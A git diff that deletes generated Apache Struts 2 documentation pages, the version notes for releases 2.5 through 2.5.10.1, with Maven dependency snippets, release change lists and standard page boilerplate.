-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12323281">Struts 2.3.8 DONE</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12323282">Struts 2.3.9 TODO</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12318399">Struts 2.3.x TODO</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.8-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-25.html b/content/docs/version-notes-25.html
deleted file mode 100644
index 0e7d493..0000000
--- a/content/docs/version-notes-25.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.5</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-25.html">Version Notes 2.5</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.5</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=58852313">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=58852313">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=58852313">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=58852313">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=58852313">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=58852313">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.5 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emotico [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.5&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.5-InternalChanges">Internal Changes</h2><ul><li><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)">&#160;All security patches from prior versions were merged into this version</li><li>XWork source was merged into Struts Core source, it means that there be no more&#160;<code>xwork</code> ar [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-251.html b/content/docs/version-notes-251.html
deleted file mode 100644
index ee91978..0000000
--- a/content/docs/version-notes-251.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.5.1</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-251.html">Version Notes 2.5.1</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.5.1</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=64554192">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=64554192">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=64554192">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=64554192">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=64554192">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=64554192">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.5.1 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoti [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.5.1&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.5.1-InternalChanges">Internal Changes</h2><ul><li><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)">&#160;All security patches applied to version <a shape="rect" href="version-notes-2329.html">Struts 2.3.29</a> were also applied to this version (just in case)</li><li><img class="emoticon  [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-2510.html b/content/docs/version-notes-2510.html
deleted file mode 100644
index 93ea3d2..0000000
--- a/content/docs/version-notes-2510.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.5.10</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-2510.html">Version Notes 2.5.10</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.5.10</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=67638791">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=67638791">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=67638791">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=67638791">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=67638791">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=67638791">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.5.10 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emot [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.5.10&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.5.10-InternalChanges">Internal Changes</h2><h3 id="VersionNotes2.5.10-Bug">Bug</h3><ul><li>[<a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/WW-4693">WW-4693</a>] - How to handle 404 when using wildcard instead of error 500 when the wildcard method doesn't exist</li><li>[<a shape="rect" class="external-link" href="https://issues.apache.org/jira/browse/WW-4725">WW-4725</a>] - MessageStoreInterceptor must handle all redirec [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-25101.html b/content/docs/version-notes-25101.html
deleted file mode 100644
index 9b1bec7..0000000
--- a/content/docs/version-notes-25101.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.5.10.1</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-25101.html">Version Notes 2.5.10.1</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
